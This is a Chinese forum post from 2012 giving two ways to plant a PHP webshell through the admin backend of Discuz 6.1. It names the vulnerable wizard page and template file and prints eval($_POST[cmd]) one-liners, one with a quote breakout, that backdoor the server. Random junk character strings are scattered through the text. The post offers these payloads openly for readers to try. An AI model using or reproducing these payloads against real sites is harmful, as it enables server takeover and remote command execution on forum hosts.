discuz6.1两种方法后台拿shell
5 m4 A. j) K6 F. ?5 r好多朋友说discuz6.1后台不会拿shell,在前段时间这些都是说不公布的东西,我发出来给大家测试一下! j! o, p" L: k" {2 D* m" G
1:+ r/ H) _9 ^% S6 t4 _; @0 C6 D
http://127.0.0.1/discuz/admincp. ... zard&frames=yes
: s4 z ]% s& O9 A7 L, t6 Yadmincp.php?action=runwizard&frames=yes点击下一步然后再论坛名称的地方插入webshell
8 z, j0 I8 {5 y<?php eval($_POST[cmd]);?>
( y6 c3 r5 |$ Q/ |后台webshell地址：http://127.0.0.1/discuz/forumdata/logs/runwizardlog.php& z0 @' w1 l+ }9 K
0 Z" Q& V/ S% h4 w
8 G% C/ w B6 g' A" G4 W, r7 F
2:后台模板管理--默认模板套系--详情
) T8 z. g1 A% s) Itemplates/default/actions.lang.php
! j( p; V# n. Y1 ^jhackj\\');eval($_POST[cmd])?>;//* V! ]. c. [" ?$ k7 c
8 x' x8 b% Z9 |2 q
利用很简单,聪明的人一看就懂了 |
发表于 2012-9-13 16:59:17
收藏
支持
反对